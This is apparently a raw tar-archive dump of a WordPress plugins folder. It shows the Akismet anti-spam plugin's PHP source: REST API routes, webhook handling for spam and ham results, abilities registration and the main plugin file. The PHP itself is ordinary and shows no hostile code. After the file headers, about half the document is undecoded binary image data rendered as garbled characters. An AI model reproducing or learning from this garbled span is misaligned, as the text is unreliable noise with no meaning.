array( 'Akismet_REST_API', 'privileged_permission_callback' ), 'callback' => array( 'Akismet_REST_API', 'get_stats' ), ), ) ); register_rest_route( 'akismet/v1', '/alert', array( array( 'methods' => WP_REST_Server::READABLE, 'permission_callback' => array( 'Akismet_REST_API', 'remote_call_permission_callback' ), 'callback' => array( 'Akismet_REST_API', 'get_alert' ), 'args' => array( 'key' => array( 'required' => false, 'type' => 'string', 'sanitize_callback' => array( 'Akismet_REST_API', 'sanitize_key' ), 'description' => __( 'A 12-character Akismet API key. Available at akismet.com/account', 'akismet' ), ), ), ), array( 'methods' => WP_REST_Server::EDITABLE, 'permission_callback' => array( 'Akismet_REST_API', 'remote_call_permission_callback' ), 'callback' => array( 'Akismet_REST_API', 'set_alert' ), 'args' => array( 'key' => array( 'required' => false, 'type' => 'string', 'sanitize_callback' => array( 'Akismet_REST_API', 'sanitize_key' ), 'description' => __( 'A 12-character Akismet API key. Available at akismet.com/account', 'akismet' ), ), ), ), array( 'methods' => WP_REST_Server::DELETABLE, 'permission_callback' => array( 'Akismet_REST_API', 'remote_call_permission_callback' ), 'callback' => array( 'Akismet_REST_API', 'delete_alert' ), 'args' => array( 'key' => array( 'required' => false, 'type' => 'string', 'sanitize_callback' => array( 'Akismet_REST_API', 'sanitize_key' ), 'description' => __( 'A 12-character Akismet API key. Available at akismet.com/account', 'akismet' ), ), ), ), ) ); register_rest_route( 'akismet/v1', '/webhook', array( 'methods' => WP_REST_Server::CREATABLE, 'callback' => array( 'Akismet_REST_API', 'receive_webhook' ), 'permission_callback' => array( 'Akismet_REST_API', 'remote_call_permission_callback' ), ) ); } /** * Get the current Akismet API key. * * @param WP_REST_Request $request * @return WP_Error|WP_REST_Response */ public static function get_key( $request = null ) { return rest_ensure_response( Akismet::get_api_key() ); } /** * Set the API key, if possible. * * @param WP_REST_Request $request * @return WP_Error|WP_REST_Response */ public static function set_key( $request ) { if ( defined( 'WPCOM_API_KEY' ) ) { return rest_ensure_response( new WP_Error( 'hardcoded_key', __( 'This site\'s API key is hardcoded and cannot be changed via the API.', 'akismet' ), array( 'status' => 409 ) ) ); } $new_api_key = $request->get_param( 'key' ); if ( ! self::key_is_valid( $new_api_key ) ) { return rest_ensure_response( new WP_Error( 'invalid_key', __( 'The value provided is not a valid and registered API key.', 'akismet' ), array( 'status' => 400 ) ) ); } update_option( 'wordpress_api_key', $new_api_key ); return self::get_key(); } /** * Unset the API key, if possible. * * @param WP_REST_Request $request * @return WP_Error|WP_REST_Response */ public static function delete_key( $request ) { if ( defined( 'WPCOM_API_KEY' ) ) { return rest_ensure_response( new WP_Error( 'hardcoded_key', __( 'This site\'s API key is hardcoded and cannot be deleted.', 'akismet' ), array( 'status' => 409 ) ) ); } delete_option( 'wordpress_api_key' ); return rest_ensure_response( true ); } /** * Get the Akismet settings. * * @param WP_REST_Request $request * @return WP_Error|WP_REST_Response */ public static function get_settings( $request = null ) { return rest_ensure_response( array( 'akismet_strictness' => ( get_option( 'akismet_strictness', '1' ) === '1' ), 'akismet_show_user_comments_approved' => ( get_option( 'akismet_show_user_comments_approved', '1' ) === '1' ), 'akismet_enable_mcp_access' => ( get_option( 'akismet_enable_mcp_access', '0' ) === '1' ), ) ); } /** * Update the Akismet settings. * * @param WP_REST_Request $request * @return WP_Error|WP_REST_Response */ public static function set_boolean_settings( $request ) { foreach ( array( 'akismet_strictness', 'akismet_show_user_comments_approved', 'akismet_enable_mcp_access', ) as $setting_key ) { $setting_value = $request->get_param( $setting_key ); if ( is_null( $setting_value ) ) { // This setting was not specified. continue; } // From 4.7+, WP core will ensure that these are always boolean // values because they are registered with 'type' => 'boolean', // but we need to do this ourselves for prior versions. $setting_value = self::parse_boolean( $setting_value ); update_option( $setting_key, $setting_value ? '1' : '0' ); } return self::get_settings(); } /** * Parse a numeric or string boolean value into a boolean. * * @param mixed $value The value to convert into a boolean. * @return bool The converted value. */ public static function parse_boolean( $value ) { switch ( $value ) { case true: case 'true': case '1': case 1: return true; case false: case 'false': case '0': case 0: return false; default: return (bool) $value; } } /** * Get the Akismet stats for a given time period. * * Possible `interval` values: * - all * - 60-days * - 6-months * * @param WP_REST_Request $request * @return WP_Error|WP_REST_Response */ public static function get_stats( $request ) { $api_key = Akismet::get_api_key(); $interval = $request->get_param( 'interval' ); $stat_totals = array(); $request_args = array( 'blog' => get_option( 'home' ), 'key' => $api_key, 'from' => $interval, ); $request_args = apply_filters( 'akismet_request_args', $request_args, 'get-stats' ); $response = Akismet::http_post( Akismet::build_query( $request_args ), 'get-stats' ); if ( ! empty( $response[1] ) ) { $stat_totals[ $interval ] = json_decode( $response[1] ); } return rest_ensure_response( $stat_totals ); } /** * Get the current alert code and message. Alert codes are used to notify the site owner * if there's a problem, like a connection issue between their site and the Akismet API, * invalid requests being sent, etc. * * @param WP_REST_Request $request * @return WP_Error|WP_REST_Response */ public static function get_alert( $request ) { return rest_ensure_response( array( 'code' => get_option( 'akismet_alert_code' ), 'message' => get_option( 'akismet_alert_msg' ), ) ); } /** * Update the current alert code and message by triggering a call to the Akismet server. * * @param WP_REST_Request $request * @return WP_Error|WP_REST_Response */ public static function set_alert( $request ) { delete_option( 'akismet_alert_code' ); delete_option( 'akismet_alert_msg' ); // Make a request so the most recent alert code and message are retrieved. Akismet::verify_key( Akismet::get_api_key() ); return self::get_alert( $request ); } /** * Clear the current alert code and message. * * @param WP_REST_Request $request * @return WP_Error|WP_REST_Response */ public static function delete_alert( $request ) { delete_option( 'akismet_alert_code' ); delete_option( 'akismet_alert_msg' ); return self::get_alert( $request ); } private static function key_is_valid( $key ) { $request_args = array( 'key' => $key, 'blog' => get_option( 'home' ), ); $request_args = apply_filters( 'akismet_request_args', $request_args, 'verify-key' ); $response = Akismet::http_post( Akismet::build_query( $request_args ), 'verify-key' ); if ( $response[1] == 'valid' ) { return true; } return false; } public static function privileged_permission_callback() { return current_user_can( 'manage_options' ); } /** * For calls that Akismet.com makes to the site to clear outdated alert codes, use the API key for authorization. */ public static function remote_call_permission_callback( $request ) { $local_key = Akismet::get_api_key(); return $local_key && ( strtolower( $request->get_param( 'key' ) ?? '' ) === strtolower( $local_key ) ); } public static function sanitize_interval( $interval, $request, $param ) { $interval = trim( $interval ); $valid_intervals = array( '60-days', '6-months', 'all' ); if ( ! in_array( $interval, $valid_intervals ) ) { $interval = 'all'; } return $interval; } public static function sanitize_key( $key, $request, $param ) { return trim( $key ); } /** * Process a webhook request from the Akismet servers. * * @param WP_REST_Request $request * @return WP_Error|WP_REST_Response */ public static function receive_webhook( $request ) { Akismet::log( array( 'Webhook request received', $request->get_body() ) ); /** * The request body should look like this: * array( * 'key' => '1234567890abcd', * 'endpoint' => '[comment-check|submit-ham|submit-spam]', * 'comments' => array( * array( * 'guid' => '[...]', * 'result' => '[true|false]', * 'comment_author' => '[...]', * [...] * ), * array( * 'guid' => '[...]', * [...], * ), * [...] * ) * ) * * Multiple comments can be included in each request, and the only truly required * field for each is the guid, although it would be friendly to include also * comment_post_ID, comment_parent, and comment_author_email, if possible to make * searching easier. */ // The response will include statuses for the result of each comment that was supplied. $response = array( 'comments' => array(), ); $endpoint = $request->get_param( 'endpoint' ); switch ( $endpoint ) { case 'comment-check': $webhook_comments = $request->get_param( 'comments' ); if ( ! is_array( $webhook_comments ) ) { return rest_ensure_response( new WP_Error( 'malformed_request', __( 'The \'comments\' parameter must be an array.', 'akismet' ), array( 'status' => 400 ) ) ); } foreach ( $webhook_comments as $webhook_comment ) { $guid = $webhook_comment['guid']; if ( ! $guid ) { // Without the GUID, we can't be sure that we're matching the right comment. // We'll make it a rule that any comment without a GUID is ignored intentionally. continue; } // Search on the fields that are indexed in the comments table, plus the GUID. // The GUID is the only thing we really need to search on, but comment_meta // is not indexed in a useful way if there are many many comments. This // should help narrow it down first. $queryable_fields = array( 'comment_post_ID' => 'post_id', 'comment_parent' => 'parent', 'comment_author_email' => 'author_email', ); $query_args = array(); $query_args['status'] = 'any'; $query_args['meta_key'] = 'akismet_guid'; $query_args['meta_value'] = $guid; foreach ( $queryable_fields as $queryable_field => $wp_comment_query_field ) { if ( isset( $webhook_comment[ $queryable_field ] ) ) { $query_args[ $wp_comment_query_field ] = $webhook_comment[ $queryable_field ]; } } $comments_query = new WP_Comment_Query( $query_args ); $comments = $comments_query->comments; if ( ! $comments ) { // Unexpected, although the comment could have been deleted since being submitted. Akismet::log( 'Webhook failed: no matching comment found.' ); $response['comments'][ $guid ] = array( 'status' => 'error', 'message' => __( 'Could not find matching comment.', 'akismet' ), ); continue; } if ( count( $comments ) > 1 ) { // Two comments shouldn't be able to match the same GUID. Akismet::log( 'Webhook failed: multiple matching comments found.', $comments ); $response['comments'][ $guid ] = array( 'status' => 'error', 'message' => __( 'Multiple comments matched request.', 'akismet' ), ); continue; } else { // We have one single match, as hoped for. Akismet::log( 'Found matching comment.', $comments ); $comment = $comments[0]; $current_status = wp_get_comment_status( $comment ); $result = $webhook_comment['result']; if ( 'true' == $result ) { Akismet::log( 'Comment should be spam' ); // The comment should be classified as spam. if ( 'spam' != $current_status ) { // The comment is not classified as spam. If Akismet was the one to act on it, move it to spam. if ( Akismet::last_comment_status_change_came_from_akismet( $comment->comment_ID ) ) { Akismet::log( 'Comment is not spam; marking as spam.' ); wp_spam_comment( $comment ); Akismet::update_comment_history( $comment->comment_ID, '', 'webhook-spam' ); } else { Akismet::log( 'Comment is not spam, but it has already been manually handled by some other process.' ); Akismet::update_comment_history( $comment->comment_ID, '', 'webhook-spam-noaction' ); } } } elseif ( 'false' == $result ) { Akismet::log( 'Comment should be ham' ); // The comment should be classified as ham. if ( 'spam' == $current_status ) { Akismet::log( 'Comment is spam.' ); // The comment is classified as spam. If Akismet was the one to label it as spam, unspam it. if ( Akismet::last_comment_status_change_came_from_akismet( $comment->comment_ID ) ) { Akismet::log( 'Akismet marked it as spam; unspamming.' ); wp_unspam_comment( $comment ); akismet::update_comment_history( $comment->comment_ID, '', 'webhook-ham' ); } else { Akismet::log( 'Comment is not spam, but it has already been manually handled by some other process.' ); Akismet::update_comment_history( $comment->comment_ID, '', 'webhook-ham-noaction' ); } } else if ( 'unapproved' == $current_status ) { Akismet::log( 'Comment is pending.' ); // The comment is in Pending. If Akismet was the one to put it there, approve it (but only if the site // settings dictate that). if ( Akismet::last_comment_status_change_came_from_akismet( $comment->comment_ID ) ) { Akismet::log( 'Akismet marked it as Pending; approving.' ); if ( check_comment( $comment->comment_author, $comment->comment_author_email, $comment->comment_author_url, $comment->comment_content, $comment->comment_author_IP, $comment->comment_agent, $comment->comment_type ) ) { wp_set_comment_status( $comment->comment_ID, 1 ); } akismet::update_comment_history( $comment->comment_ID, '', 'webhook-ham' ); } else { Akismet::log( 'Comment is not spam, but it has already been manually handled by some other process.' ); Akismet::update_comment_history( $comment->comment_ID, '', 'webhook-ham-noaction' ); } } $moderation_email_was_delayed = get_comment_meta( $comment->comment_ID, 'akismet_delayed_moderation_email', true ); if ( $moderation_email_was_delayed ) { Akismet::log( 'Moderation email was delayed for comment #' . $comment->comment_ID . '; sending now.' ); delete_comment_meta( $comment->comment_ID, 'akismet_delayed_moderation_email' ); wp_new_comment_notify_moderator( $comment->comment_ID ); wp_new_comment_notify_postauthor( $comment->comment_ID ); } delete_comment_meta( $comment->comment_ID, 'akismet_delay_moderation_email' ); } $response['comments'][ $guid ] = array( 'status' => 'success' ); } } break; case 'submit-ham': case 'submit-spam': // Nothing to do for submit-ham or submit-spam. break; default: // Unsupported endpoint. break; } /** * Allow plugins to do things with a successfully processed webhook request, like logging. * * @since 5.3.2 * * @param WP_REST_Request $request The REST request object. */ do_action( 'akismet_webhook_received', $request ); Akismet::log( 'Done processing webhook.' ); return rest_ensure_response( $response ); } } plugins/akismet/index.php000064400000000072152335264760011516 0ustar00 'Akismet', 'description' => __( 'Abilities for spam protection and comment moderation with Akismet.', 'akismet' ), ) ); } /** * Register all Akismet abilities. * * @return void */ public static function register_abilities() { if ( ! function_exists( 'wp_register_ability' ) ) { return; } $abilities = array( Akismet_Ability_Get_Stats::class, Akismet_Ability_Comment_Check::class, ); foreach ( $abilities as $ability_class ) { new $ability_class(); } } } plugins/akismet/akismet.php000064400000006472152335264760012056 0ustar00protect your blog from spam
    . Akismet Anti-spam keeps your site protected even while you sleep. To get started: activate the Akismet plugin and then go to your Akismet Settings page to set up your API key. Version: 5.7 Requires at least: 5.8 Requires PHP: 7.2 Author: Automattic - Anti-spam Team Author URI: https://automattic.com/wordpress-plugins/ License: GPLv2 or later Text Domain: akismet */ /* This program is free software; you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation; either version 2 of the License, or (at your option) any later version. This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. You should have received a copy of the GNU General Public License along with this program; if not, write to the Free Software Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA. Copyright 2005-2025 Automattic, Inc. */ // Make sure we don't expose any info if called directly if ( ! function_exists( 'add_action' ) ) { echo 'Hi there! I\'m just a plugin, not much I can do when called directly.'; exit; } define( 'AKISMET_VERSION', '5.7' ); define( 'AKISMET__MINIMUM_WP_VERSION', '5.8' ); define( 'AKISMET__PLUGIN_DIR', plugin_dir_path( __FILE__ ) ); define( 'AKISMET_DELETE_LIMIT', 10000 ); register_activation_hook( __FILE__, array( 'Akismet', 'plugin_activation' ) ); register_deactivation_hook( __FILE__, array( 'Akismet', 'plugin_deactivation' ) ); require_once AKISMET__PLUGIN_DIR . 'class.akismet.php'; require_once AKISMET__PLUGIN_DIR . 'class.akismet-widget.php'; require_once AKISMET__PLUGIN_DIR . 'class.akismet-rest-api.php'; require_once AKISMET__PLUGIN_DIR . 'class-akismet-compatible-plugins.php'; add_action( 'init', array( 'Akismet', 'init' ) ); add_action( 'rest_api_init', array( 'Akismet_REST_API', 'init' ) ); add_action( 'init', array( 'Akismet_Compatible_Plugins', 'init' ) ); if ( function_exists( 'wp_get_connectors' ) ) { require_once AKISMET__PLUGIN_DIR . 'class-akismet-connector.php'; add_action( 'init', array( 'Akismet_Connector', 'init' ) ); } /** * Conditionally loads for a WordPress 6.9+ installation, which has * access to the core Abilities API. Only register abilities if Akismet * is set up with an API key (either predefined or configured). */ if ( function_exists( 'wp_register_ability' ) ) { require_once AKISMET__PLUGIN_DIR . 'class-akismet-abilities.php'; add_action( 'init', function () { if ( Akismet::get_api_key() ) { Akismet_Abilities::init(); } } ); } if ( is_admin() || ( defined( 'WP_CLI' ) && WP_CLI ) ) { require_once AKISMET__PLUGIN_DIR . 'class.akismet-admin.php'; add_action( 'init', array( 'Akismet_Admin', 'init' ) ); } // add wrapper class around deprecated akismet functions that are referenced elsewhere require_once AKISMET__PLUGIN_DIR . 'wrapper.php'; if ( defined( 'WP_CLI' ) && WP_CLI ) { require_once AKISMET__PLUGIN_DIR . 'class.akismet-cli.php'; } plugins/index.php000064400000000034152335264760010057 0ustar00_N2IDATxA01ww#!`0B !C!`0B !C!`0B !`0B !C1̍Ow_O%@ @MP@ ԂE-V/K/_o~ow[wff̙so󞙹˗/׮]۽{M|0AAO6oެ&큓y/nR!lٳCQ+oΝN6nsO>-|8G945xbZI*]tiB 7A R0&B9Nlyw/( IYpwV Zc,ׯӧOuT9&#+ho$CF@'JrVVV={4t4  2M ˽G4iȒ$mpuN$g/b1bTe`ʩϟ?܍5BHF78 :&VFll2ATӀ UcҰ:$y,QA_ɣ/߿c0_3y}q֭Mѓ'O:<:uȑ#c5P]z4  8guFӿ'N>=k.Ep,*jBXk'$XS@?@C6NisQi5Aچ ![f_Oڐ WCQ\6$l;^(Q"e%ZyҰ7oKұ3lEeC5ٸ-x7I ;w΍/P/ċoܸQ;9rJ5g)G  utpÚtyX ߌXW =9s݉n+5^L5%! сڱXL3S#779o߾]zCQDì/ʲaգzBKCνL-l4G;x|NSĨC b;231o e:z1փb>-19꡾R/ +=A^q" ;G,",2  ݇Mϟ?A854 __ںZq )T7E\6fömXViBp?%^71Бo{S\-ոҫwk3ob2CAA-?4jޱ?!/#g|aÆ ATG7 挢XFW˥ u{۷Δ {ؑ~/C>¤_N^8w`e G!k3 )o cgc u6* +V^̐AAZi g,Z;*5+| !K}KU l6N=I3Xd3! ^ᰯcǎy M^{$ cٸ@ BdkLG*ˢ:XB@w:J Xׁ+( A`pc/#-Aua3FY=Ҍ$wͱN+⍱S奈gƲ?AA?ͫ:(UJڣ =Q2򋥐ozta '-."`,$9C>ۡP޿C|'~9ҕrmXgFBbXPOHcy!ҺQCgShQ"ThA<6Dc@Gd#a5Ӗ(@HzvmK^3UM, [{z3 IS VH0_G痈/cuU/}TQj"CC8  [368cq ix،}K_bH^c/Ñ!L[H+{@Ρ˙1󥔴:c1w1yߔG).+my!PuLy֨vYFE(VѐhJ Up*Ml=:?{t#a)*3g+z+lوQ7ZF/WhT\H| k Ku1  wՎAgȃv9N)P 2W)/*6$nws: C}]b/ ݭ< Ai_u*L#M+N`?du'1I O9u  `~7O^:mػ }R}@/_|9"o߾ !͛Κ$l6yC 2:0Xr1Y_n:_~fdFelϟ?yZnoooqqٳgo'{Z7ԁKAs!_CeRk a߫Լ{._]]]53$B 36ߖ{P^/^h4?\ZZ*s8ۿ`b M^v20XF/A:C~_jp@jwwf&ǦW )Ӄ ?~L=%xrrR+t_|8=X~_ORkѨo߾=??϶ǏSeacD Zt⦊>kkkub}26 K@fzZL9ʥLe1gb?Ʋ6N,AcʐR026@~S~|'B 58Le_emgʭm۬x0꽅j67[pKFRhϟ?'z{,@(] ȶKNon=ֵWMjXlc3aBې2\ZZ*3xK&¾@NLT<99rafs61>4@ډoY;y80MX#YsFp!P%y~+#akk+oFui){ya^K b}}=*c =?n*5vg2󰿿?9WjsBiȫN=Byש,RMX-՚I93yCs$ra>a666mKM=$fmm-Vmی-&([ !T+գѥf{rxL]ZrhmDKRȨddI3 #8el CV6s@.gm |hUAжEt N')W+Ce903ɷ#F|߿dtNЄ3sa Bò:t2Ӂ!҄O;:pASFB!A B!A @ B!A @ B!A @B!A @ B!A @ B!A @ _ɓgN(%݈a7m* ʦӱZ =A#Gpp- T|>%O$60;2yz o\ReF7\Z4ۧ95lxuiD\Ͼox̸NaI"j I6Ӄ=C\`Ă]5FpqfXްR"qyg^ݺF?P1!1'k!]>RuS1<sjR.9r _t"oJ艕FZJr 6V$me'#0(`C8 F(xvbf2˒`}<%쪡7\V?8d́^uJg3PJJBI2n7,W=wH'r[AD'9lWqΆ$V0Kl 5lt xk-VK*;.̋znTʆ؆3*X-*ǩQݲW`hxbϟZ!7,lW-%~'_츉!ԁnKSK KU%!S@ -$ٱIM6l[.p=ݨʒ;i/#j-!h ɑ7u o *–*np@罆Oo{\[0T)5?Ki`Bx]D@*O$K34[GqT|/μ8V{wm箯k,416w8^nu)? ?eʷ )RPr(_S/uNE/G=PLl*Գ_yƍA:1186*lg;*4ۜ=+QIo,e렪|`dES`k{^=ŹZb  U/V9 LUP9L-}j6F~my3tR5 䙽rff*ؘٓG%6 [UI*3-i\̏ӗV 'ZN/KjDL{Cv!kDc[dn4INEؾE }WU@e[ՈMˎ2X>cҜwgqT&+(ݒZO=}|1L*~~JEZ@eù+ergokw}$:3g񜽄>YrKWd=]+׸wX2ZIIܠ?nVߍǖn> =|ܭ,gQY>ӹI}B۽GEl0T $$8'n>DZIݧq r,E}=ano6ݳvg<'%o"XvӬnO)Fe/q,ptM} Km'흫@ ˫ꑹm;ăXwRɵJwTT]sZ;)`s]2=Dp=}tงm2>7:O? ?CxTT ,[Pƾ7:g&TSiCNSRVeaٶЋP4@ٷ1S\6-KkPR~ inb AxTW|gPU2cnDB "tI UQQ j *"-xVH("S}jҪ+XK puƣt-#7P-:U1g75rτ-(xwM<;>ucɶiJXU[+49N$mu@NV|b?CF&.{n,|,ލ+גBj]07(J#]teـcIw ?\oGwt4k3!Lu̸%"v}Ū,HBiu^ܻS+PwX} XqhOJf?ʪ-<9#|#>| H!1Ւ)ߺ[7 Cf5HsY#Ȅd.[k-X ~ uk@jk1>]z2?[wV]=ۮm}~8t ]QV/ 400atp'ةUe[ <%<*$Qï$65a?a>t\6z,jxeL%b{KujtXU9*M ͬyk:~v,z&`ȹjH;Jf+F=F8lP#R(QbR FK-~fqREfeK^5k{j=q5As iR`cb!¹uLW$ŝ VzCvyڹۙ]8ő_ȻsM<gPiuʅ$>|>|opFzDHl /;pd'qU_LŴ&5?cjz5"mgQ#?IUPY}Xe|N2.@q:C(?3sd R;+R>KF.[WiNRd~EDoX*d5u|6uϑLjjx7,mEMd-9rz46d%7)E ;<6 n6xԦa5L"Lj\M:3HX$_ރKiҥyo0!_*s=X8DT-AJ١0^oV:u>|~2\ ~1Z7J9Ȍ ˇWBQ%eH/I&h`h$O)PȌJЙVz%Y2?nKP =&ifbC-|LO6{TZ܃Ad:L]ՍFF=֨o3X ԌxI5Wݤ+ %T|#>|P3qVseN< &!#dg~heǪ̍P2b™N?ʾQ&/+5`8=NOabl"%BQ穝 h6+>tO|^r%SHX5[6HI-1:a2FgÔﴲS9RC|eV] af~do@.(;S Ab 8wDǡW/qDfVNa;+pFkʜ\;Ck.Q;i|+{(2ƚWT{p/?/j1C/NOhQeG7CL>Lx3&. +=E1_ڛx&ő>?>|߂WKW~4C>DE )MKۑ.aG&z"zs'9"2,"3'14MSA[c3Gw^)ʃnPSnQu9&5W1~6ZNc.{fUl)gŲW׳XQoAfx5YZҒRK*p#AIKqŞtŇ>B)h>fW)Rz ]o0Ρ/`&_+<[AfG4EΰIuL9=#A]" zEfl^A qd3FƔj1ŵk&p"{:-:z'}Nn, B7. ^|8o9j%bͥwu*P؁]{>yv!4ggfv1qnOz&R(ixUqkʬuŋ}x6N+1Q ,0%JA^o|n{ 0xDf>◑H.'y|,mɐ 3gr߬9_ÀG֢** Ď8CĻ"eٝn!U,jJ&,1 xL2IIUE`ݒ(pɫTA-TZMLWiLćdf2u^ ` k-aU\> UKP!LU }ǟ2 T -&)[:T wKV8kNv#s{G͠W?>|`(Pv%x@ONOS &)r#[5!Ƣ'߂66ӝdQj́C"[ =◿Χ K[]kzuTc"=ux$GG!\VvΡ! eWE$݅6aOU?k79IMϥ̿԰_Og@̽!-s0{eNk2G"-_ٸe-+5-%XdF*_y,` HV6, 2#WEO̎*tkω6 n+cdՃSf{q|W{pH#NQj.Q{I/K.t[{&\+_Z#,q`Nܜ0Yn!CÇ~Җ'2*Bb㖎|gDY@}1N[&Fw팶/{%Q@Z /fvFE{Tn§{Y -/-)w6*)֬9H-*J Axf{Uf '3ľHg.|őգ,\f%5"dٱBZ.1VMK?B+IAGcr@*\%0g 9bj*2KnIqfTf3mp[VTQoyVw]5_IͫsB)%.K bf/{~He7Nܿ昨2&H=Kί>4tzYrc֒M(j$zpU [z ts\Äqk_/ "0w'qQ3/'ih9Z3jJ-eP(^kvHiE֜h?>|L/L"]-=jjI,ڻ̰S^D p|Slv0*fJꩺ=X+I3'upj=5O!=-DذyWC?O~?woſ3AuAA=II^s9׊hklvp`!G#nW#XّbvW\b|h|(9Bnn^UV(bPD\mI@Ư(˹"qN)6C䎕'SI2)gy_h b%j3r)<+gS$y+ O~3ˇ*t֒= y)5ܘLn=*L ?|>T*x]`PZVZ[G3PΜEvdTFEˊ0$fh3dF]dJ>}e r'T\ݑS#7.ub*G3LK%e| j/XW??_Uŋή[Jxl2%,˺#H .2Rww7yA;K!'oLgt͌"׾/PFN#ָ*K,(UR}yV ԐKkp ݪ[jMT{2vTfKoAoa1{D R/ꡓ]K%K|t2q6+4hثJha?IJPeTIn4v * uU%9"(WG,]$Yi'ןLӯVyj)͉~.>|>k˵|(kona6\"'`A 0Er+ZCkIoY#e$3r OS# %Pɝ|xD1)znjAenH,upiV*dJ 9[lڥSJNF)!&n?|[R}K`8bԯ4LIMrn1\ Kt\nf[i|D;KڬBL2ub+w}ެ\2"*ٻ y4K-j1S$3ѫ=:naW>'L,$dEԢ$#͂)v J** NQ pzA 0=:%V8]]1ŦU0[`~YSyG?|`j?#D*GDž~2#)Hf4hq=8ħ/\{~Ugy? pAjN`>U2j$򙎯bfqsU|$0)?:^FuvRK@8tXIGOz EfKzk@:V wZ6꺮U+OV!Drg*,2 ;h>VV lXO ՘ڀ^w~]׽*f\$*Ь06-O-gLp~Y+ZTI'lE*jfdlZ'Os%mMɱȜu0r:$tNd S͈ƶ1$7~^R>|Ç&z݃([B/9G qt%7{b"CIQwEXv$*1 Ga[k&gyDl/s%>>Kp%R"!A04ηYn*.Bb͂a|LD+|bz-Bw89 pGfzDɊӟӗǐ69+XwIn;ni wXE%C$t\ osKTɛ"!W(,jt(]B-](W`ӏm3Q &ӯY$ZÚ-@AtU'4󹺻HᝉqM`@ݨBJ&:WØM7G)GW*ﴭ3WŇ>B .*HGD|宼|`ZA=a@d6?ּ;H + L\%$P2,y8pƘIaszɺ9Tc\2ai4j$QY'26@6,xoޟT$NB{2/6{r[:!% ( OXR..%{w{AL\-,mn|= ٿbUe=e,Y&I"$Vf?i$*轋aS,;aK1 f5W9w uԞ !/lwv@uY,>8z a0 !]~V?"UT@cR@?>|$KM^ϗ$8Gi" |sdmTWU2xHk鞋Lo- ,5$uU j, XH•pmvQ]5;@jBQ6>Zg*ڬ-W$?'7P.3@H2DKvz)Ԛ2/tIu1mkaY퍻WYqFy(grtUK'1EHQ:RޭfTJL]j9雊f-ԋW3o\þ{sPe>0?xR}$iM2$ug2#WFijƽ-)9~<[WnUlic`w'rY=tqÇ!Cĭ \[&)ktaTӎ#Ju]_rwY0 x3"M7I֜}A.N>Yhv+x?8geLW]3پg.ߋ}\0`C3ߖ"R330{* x8.7?yv]Jb@Ǔ=~NhݞG7.\)bÇ 6Dnф8Le>`$8t~B lVWKQ5 qc %/ `(B=]G۪-ux}78% 0i0ʳjjQ Yk6 \e~"g%=6MCn{G R/6 LC( nqHJ9.;hwLjQR;Ciey֜ &} x:=KLAAܠ.Д")TUC^wqOLJ>B  F-)=4l%bޒWރ#ye,qeA%^ne(uy9;Yj{3tpv[H%_BYUp>GT̰ӣ=qY Ү8$2u`I"%3NGs"$X4y ײA9c~kjnj+mj0CIZR n %0֥ؾ#Ϫ1L=wҳH)[<7$J5<?R4@]u:j QO"@M,>[@<s5GX35|NKt<tO+IlOڞW*U_daېl<[HLs}/=n簭Ç~rT7t tx%&df/~6R+I 4RD԰^EJFN~YtÑ T,;T6!|"虄ZY6>$**}禥|/î>O+>A(5v33+ RvQ M Ѥh!BÇ^K(16(i9uDGҙQ^3f:/TPV,<YVړPӤjs%U\,ٹTyEd. (|2_{\C<*-Ttj-@4–dh Xĭ=IZ{Q4_ rQ j LG}[,r;9(Kiࡕd=̖(eE9zvrC5\9RۚA1,cRs""qX fjک>uKjݵ ugz~@9/PZ谩FޭZʷ?QF{D#ݭ C@$f- nX6ʃ g^z%KC2LI>ޝK͋ Փ3I|1G?|SA҄Ϳ;U_-JA]ϤN7e6@X-tctW^%*0!eLU(V):BLqe(-,;SԵR;G)ʳ&lR7H|s(֘Afdff}d4\H yhF2O%yDy>+``a;q@-)7²8Ҡt͆JtWk'x,}q!ߞvʹU@Wz>s<`b)cvduQ+h9ޑ[^S ڬoguo_e&g̠מIـ]8cqH3PfQ43IUjaV_ۖj0 +sRE83 һ >BÇkvEA4!Qd+/7W3y]\r{[3.xHVJHYLƬwvz-ΜW]4WOğRI0M53NO_~5~ MRqTce$c_isb /"5~bg#HVUw 8P5IʧFFf싐|\J$A@Fjz$* uS3Խ4 e$?5!kpIv*jy%MPQ"^ 9;hiHΐ)sH[J)qތ8Wz\Yyd"*y5$lW?~#>| oicI+ɕ$WMH:S,.wxk&̓2{L`Mh>n3IFth(m5zUĦ~E&[{".X˶<N/ beUjkU^d=Z2ު Yuy{XP] d6Xd2ؖEI\ʍp>su+@n#bCc ɷg,Ž4Wt{@[j%dљZpz;!^ԠV&"$M1grZ7Û9.Xb&R8koIXP\ώ{4I= |bZýW,$Z)nR FBÇyN}c#P~ –Sϔά̙-J6e&Ւ] 23Æ<%I|Ç?ǣQ+4 ^pB CcLϘwvHKg$Z1R4{=x2dHJK}#H3`Q[hZǸ j5,IQг;E5W;Mh[Y!Y?rPӥxHKA޶P՞}t4e Ep(+ R/-j"7$I al~d&"*̄y$=-͆A%ٺ >Wt-PF+Asw_`G~^!8-:DOlOűN =MJL4y/WPeLd/NHϚjW,h¢ftL/-4L]p3R~j0H>OyKKyÇ~ᧃӎG3&s U^À٨|Jzfܪ8xycyFTEW+˿/TzNkyo΍hu2u`4mb)MfM;@ |uhI1k2;7ۯdyG`}zyU2u0SVwFjSyIy^pYukR$1.kI OŽ#a&NG>Rꦬ2MUx,Y=ke̴%JR{<cHWP8u1$նi|+Kz7} _ȍ1{칀v.κ&MHyM;'VHOV\+ARQ62Ukȷއ>BÇ a,EX;v^Z ehUk_'Wp'a1+#}T|xIc53‚U, \]+r.DP)E!l>WIkڤZtlw*;S!DA P~%Z*I誺`3\ t; o& W$!i)f!m &g1Li|>d06uhj\" qDRұP(RnX6:xNZ}uyc9e$Ld*$g"tKn-,kMf# *h@*SQv/Gz9^Ńڳ6ds,Н>X\u 8}(}P5*Vֈb8pJ)Ag<|f&jnmv@Ew (5uGfVڇWf&&q&3{Ͽy)3g]>.t$&Q_R>Byz >3jd%Ttᖦ|4ŝKĽDzwZ3ٛPZjk5Uimoޝf\CIHprqG4akݙ>XiG?|ɠd $ ?~"Pn*NB Y=I~֘m;u&'$5LfXx4J{,@,z.gܒ6~{ qH% ҇WOc7RJprۤgih30{i[l|ĺ)̈}״3 k6VKcW.V>,ʽ| ci%_D+$j08J' $H' i $[aVIB 